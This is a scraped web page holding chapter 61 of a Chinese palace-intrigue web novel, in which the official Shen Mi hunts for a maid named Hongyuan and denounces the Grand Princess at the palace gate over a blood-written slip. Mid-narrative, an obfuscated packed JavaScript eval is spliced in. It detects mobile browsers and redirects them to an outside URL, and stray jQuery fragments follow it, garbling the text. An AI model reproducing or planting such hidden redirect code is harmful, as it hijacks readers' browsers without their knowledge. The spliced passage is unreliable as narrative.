61.时日曷丧
作品:《将军假死再就业【宦官版】》 邢老爹陪在沈弥身边,看着她从袖中掏出一只木雕的小貔貅送给虎儿玩。
木头雕的小玩意儿不值什么钱,但沈弥手中的这个却格外精巧,兽首和兽身各部位都用榫卯结构连接,拆分开又能重新拼出不同的形态。
“沈大人,这个是——”
邢源感觉这样的东西他有些熟悉,从前好像也在哪见过,正欲出声询问,老管家那边就带着一众仆役从月洞门拐了进来。沈弥注意到邢源的欲言又止,心中添了几分怀疑,但见人已到齐,只得暂且按下不表。
“姜小娘子看看,这些人中可有你要寻的那位?”沈弥没有抬头,好似仅在专心陪着虎儿玩闹,并不在乎接下来的事态如何发展。
姜荃原本站在沈弥身后,闻言才敢走上前几步。她一个接一个的细细看去,眼底却掩饰不住地愈发焦急,显然这些人中并没有她冒着被治罪的风险也要找寻的那个恩人。
“邢老爷,从凌府送来的人只有这些吗?”
邢源被姜荃这么一问,倒是才反应过来,转身打量起那些被老管家带来的仆役。
那十几个人均敛目垂首站成一排,此刻在邢老爹眼中却只像田庄菜园里被码放整齐的萝卜白菜。
婉娘嫁去凌府多年,陪嫁的丫鬟小厮也不少,他哪里能记得究竟有哪些还在?呆愣片刻后,他只能一脸为难地看向沈弥。
“你问他有什么用?”沈弥放下虎儿站起身,将手拢回袖中,冲老管家点点头,才接着道,“你得问他。”
老管家瞧见沈弥点到他,从邢老爹身旁走出,行了一礼,不用再看那边站着的众人,直接了当回道:“大娘子房中陪嫁的下人都在这里,没有旁的人了。”
听见这话,沈弥也有些好奇,若真是这样,姜荃何必口口声声说邢婉儿房中有她恩人的身契?竟还愿意连夜出城,随她来这京郊的别庄,岂不更是多此一举?
再看姜荃已是满脸的不可置信,她明明记得那个女子,要不是她,如今除了躺在棺材里的邢氏,山匪的刀下怕不是还要再添上自己和母亲的性命。
那个女子,她记得邢夫人唤过她,叫什么来着?要是她能想起来,至少还能再问上两句。
姜荃脑子乱糟糟的糊成一团,此刻她除了不断在心中质疑自己,再也说不出一句话。
沈弥见她如此,心中的疑惑更甚,将邢老爹和老管家唤上前来欲仔细盘问。谁料,老管家刚走过虎儿身旁就忽然止步,侧身半步看了一眼邢老爹。
“老爷——”
“还有什么是咱家不能知道的?!”
沈弥方才就留意到邢源对虎儿手中的小貔貅有些好奇,此刻居然连老管家也对此吞吞吐吐,想必这其中定然藏着什么玄机。
“大人恕罪!”沈弥一声怒喝吓得邢老爹拽着老管家一同跪了下去,颤颤巍巍地接着道,“虎儿手里这种可拆卸的木雕,从前婉娘也给老汉孙儿送过一只,想必是老管家曾见过,就多看了两眼。”
也送过一只?
沈弥今天给虎儿玩的这只貔貅本是她平日练手自己雕的,婉娘手里哪来的相似一只?
想及此处,沈弥盯上了跪地不敢抬头的老管家,她取回虎儿手里的木貔貅丢在他面前,喝道:“邢婉儿身边是不是有人会做这样的木雕兽?这人如今去了哪里?说!”
老管家再没了方才的斩钉截铁,犹豫了一瞬方才开口:“从前替大公子来上京送年礼,好像见到大娘子房中还有个大丫鬟,大娘子说她手巧,会做些有意思的小玩意儿,便叫我拿些给家里的小公子带回去。”
“她叫什么!如今在何处?!”
沈弥问的急,老管家也就更没心思细想,不再多考虑,便把始末同倒豆子一般全抖了出来:“这丫头叫红鸢!对的,就叫红鸢!可她不是咱邢府的陪嫁,我同老爷来上京城也没两天,实在是不知道这人去哪了,求大人明鉴啊!”
红鸢!对!这就对上了!
姜荃在听见这个名字之后也立刻反应过来,老管家口中的红鸢就是她要找寻的那位救命恩人。
那日她本要随母亲赴邢夫人之约去京郊白云寺上香,马车刚刚出城,迎上邢氏车辇,便是这个叫红鸢的丫鬟趁母亲同邢夫人叙话之时,悄悄往她手里塞了一张纸条,告诉她这一趟只会求来凶卦,让她仔细斟酌。
邢夫人向来喜欢结交朝中重臣家眷,母亲因嫁妆不丰也被这邢氏忽悠去一起做生意,虽然赚了不少银钱,但姜荃一向不喜邢氏的手段,更怕母亲被她连累,看到纸条的时候,即使心中仅信了三分,也还是装作腹痛难忍将母亲留了下来。
后来邢氏多日没再同母亲联系,她还以为这人因当日的爽约恼了她们,也就没当回事。谁料半月前,御街沈老将军坠棺一事震惊朝野,她这才知晓邢夫人已死去数日,劫后余生的窒息感瞬间袭遍全身,后知后觉当初那个丫鬟竟然说的是这个意思。
近日沈大人将凌山下狱,以杀妻和刺杀辅国公的罪名奏请圣上查抄凌府。
姜荃原本让下人去打听红鸢的下落,可凌府内外戒备森严,他们一直没找到机会。后来她当掉几副头面,从东厂的番子口中听得只言片语,当初山匪杀掉的人中没有一个符合她口中描述的丫鬟,她这才放了心。
今夜凌府被抄家,家奴都要被重新发卖,她亲自跑到府前守着,想瞧瞧这其中有没有红鸢。
谁想,竟看了一场沈弥怒斩罗雍的大戏。
为了报恩,姜荃忍住惧意还是没有退缩,戴着兜帽在街角的茶摊处等至入夜,待东厂的番子全都撤去,才寻到个狗洞钻进凌府。
巧的是,她在邢氏的房中又遇上了沈弥。
不知怎的,自她见过沈弥为了那个下属斩杀罗雍,反而对这人没来由地更加亲近。
她只是怕肠穿肚烂的尸体,她不怕沈弥。
思及此处,姜荃竟大着胆子拉上了沈弥的袍角,开口求她:“沈大人,就是红鸢,我要找的人就是她。求您帮我找一找她在哪里,是否安好。”
沈弥此刻也对这个叫红鸢的丫鬟产生了好奇,她不仅会做自己手中相似的木雕,还能出手救下朝中重臣的家眷,这样的一个人竟然心甘情愿地在邢氏身边做个大丫鬟?
邢氏房中那张嵌有七星北斗阵的书案,凌府荷花池底的机关,甚至之前她同顾西北跟踪凌山寻到的那座假山壁,处处都透着诡异。
如今以红鸢善巧技为线,这些异事便像颗颗钻了圆孔的红珠,自然而然地被串在了一起。
这个丫鬟身上的秘密太多了,无论如何,都需得打探出她的踪迹。
“咱家既然带你来此,那就是要帮人帮到底,自然会替你找到红鸢。”沈弥扯出一抹笑,对姜荃做出承诺。既然有送上门来的借口,她不用白不用,顺便还能给小姑娘卖个好,何乐而不为?
安抚好姜荃,沈弥准备派人送她回府,姜家这个地方,非到万不得已沈弥不想再去,只交待阿宽带上她的令牌好让守城官兵能在深夜放他们入京。
“这么晚回家,你母亲会不会罚你?”刚把姜荃送上马车,沈弥忍不住还是多问了一句。
“不会,我偷偷出府的,到时候让阿宽兄弟把我放在府外,我自有办法能进去。”姜荃听见沈弥突如其来的关心也不觉有异,只是眨巴着大眼睛又冲沈弥一笑,“沈大人答应帮我,民女感激不尽。”
直到车帘要被放下,姜荃钻出脑袋又补了一句:“沈弥!以后我们就是朋友了,你就叫我沫沫吧!”
趁沈弥还愣在原地,马儿已扬起前蹄。
“沫沫?”
看着逐渐远去的马车,沈弥笑着叹出一口气——这姜侍郎的“独女”,还真是有趣。
……
今夜的别院格外安静,月朗星稀,沈弥正坐在院中凉亭望着明月自斟自饮。
好不容易闲下来,她算了算顾西北的脚程,估计他明日午时应该就能赶到步虚山。
不知不觉杯中酒已饮尽,还未等她摸上酒壶再续,就见伏叔从院外小跑着进来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271719|164466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面色十分焦急。
“小将军!”
“伏叔?”
沈弥没想到今晚会在别院见到杨伏,自她从深云斋醒来,她第一时间就派伏叔带人去玄同观守着,以免大长公主的行踪被有心之人察觉,遭遇不测。
可此时杨伏匆忙来寻,难道是大长公主那边真出了事情?
“小将军,大长公主出了玄同观,怕是打算连夜回京!”
“为何!”
沈弥不敢相信自己亲耳听到的消息,大长公主最近一直躲在玄同观,没有任何特别的动静,为何偏偏选在今晚回京?
“属下也不知,大长公主走后,吴公公找到我,叫我把这个给您。”杨伏一边说着一边从怀中掏出了一块竹板,递给了沈弥。
青竹未被烤干,其上字迹是由人一刀一刀刻了上去。每个字的一笔一画都似被朱砂染红,细看之下却是更浓烈的红褐色,这是血书!
“时日曷丧!”
“这是何意?”
时日曷丧,予及汝皆亡!
古时夏朝的末代君主夏桀,残暴无道,自恃国力强盛,竟自比为太阳,认为自己的统治会永垂不朽。百姓在这样的暴君压迫下,发出愤怒的诅咒:太阳你何时才会灭亡,我愿与你同归于尽!
“我愿与你同归于尽!”
宝荣大长公主,梁凤华,整个大夏最尊贵的公主,她怎么能一直忍受偏安一隅的屈辱?
终是自己看轻了她。
沈弥将沾血的竹板小心放进怀里,赤红着双眼嘶吼出声:“伏叔,回京!”
*
五更天的梆子刚敲响,天还没亮透,沈弥已骑着照夜白穿城直抵宫门。
此刻未到上朝时间,她却径自撩起下袍,跪在了金钉红漆的皇城大门前。
“天道昭昭,人心灼灼。
大长公主大逆不道,有碍国运昌隆。
今臣沈弥,得梁凤华谋逆血书!
奏请陛下圣裁!”
她口中字字若惊雷,震得宫门禁卫不敢上前阻止。
“天道昭昭,人心灼灼……”
沈弥跪在那里,将那染血的竹板举过头顶,一遍又一遍地重复着。
没人留意到她眼底的血红,也没人能体会她此时的痛苦。
“予及汝皆亡!”
她仿佛能听见大长公主在她耳边声嘶力竭地喊出这句话,她多想自己能替大长公主去死,可惜她不能,可惜她没有。
不知道跪了多久,也不知道喊了多少遍,总算是挨到了开宫门的时辰,沈弥这才注意到她身后聚集着众位蟒袍玉带的朝廷重臣,却都畏首畏尾地不敢上前。
“沈弥是不是疯了?大长公主谋逆?这也是她一个太监能说的?”
“说不说得,人家都说了。你忘了?当初沈大人就是靠着说大长公主以功挟恩,这才得了陛下看重。”
“小声点!你看竹板上写的,‘时日曷丧‘那可是咒天子。”
“老夫曾在先帝时期的宫宴上,见过大长公主的字,这四个字…..”
“就是梁凤华写的,一眼我就认出来了,诅咒天子,这可是谋逆!”
“老师!”
刑部尚书陈春一直站在一旁看热闹,张阁老的轿辇刚到,他就上前挤开了随轿的家仆,亲自扶着张荣恩下轿。待张阁老站定,陈春才抬袖掩嘴,俯身贴耳同他讲明了宫门前发生的事。
张荣恩不喜陈春这样的做派,但瞧见周围人多嘴杂,还是静静地听完了陈春的描述。
往日里张荣恩作为内阁首辅,都是最后一个到,他也是第一次看见大臣们都等在宫门口不敢近前的样子。
刚刚陈春的一声“老师”,将众位大臣的注意力又转移到了他这里,主动地让出道,示意他来做个决断。
张荣恩步伐沉稳,不急不徐,待走至沈弥身旁,才站住了脚。
只见他卷起大袖,单手扶起了沈弥,接着说道:“沈大人,今日便同我一道上朝吧。”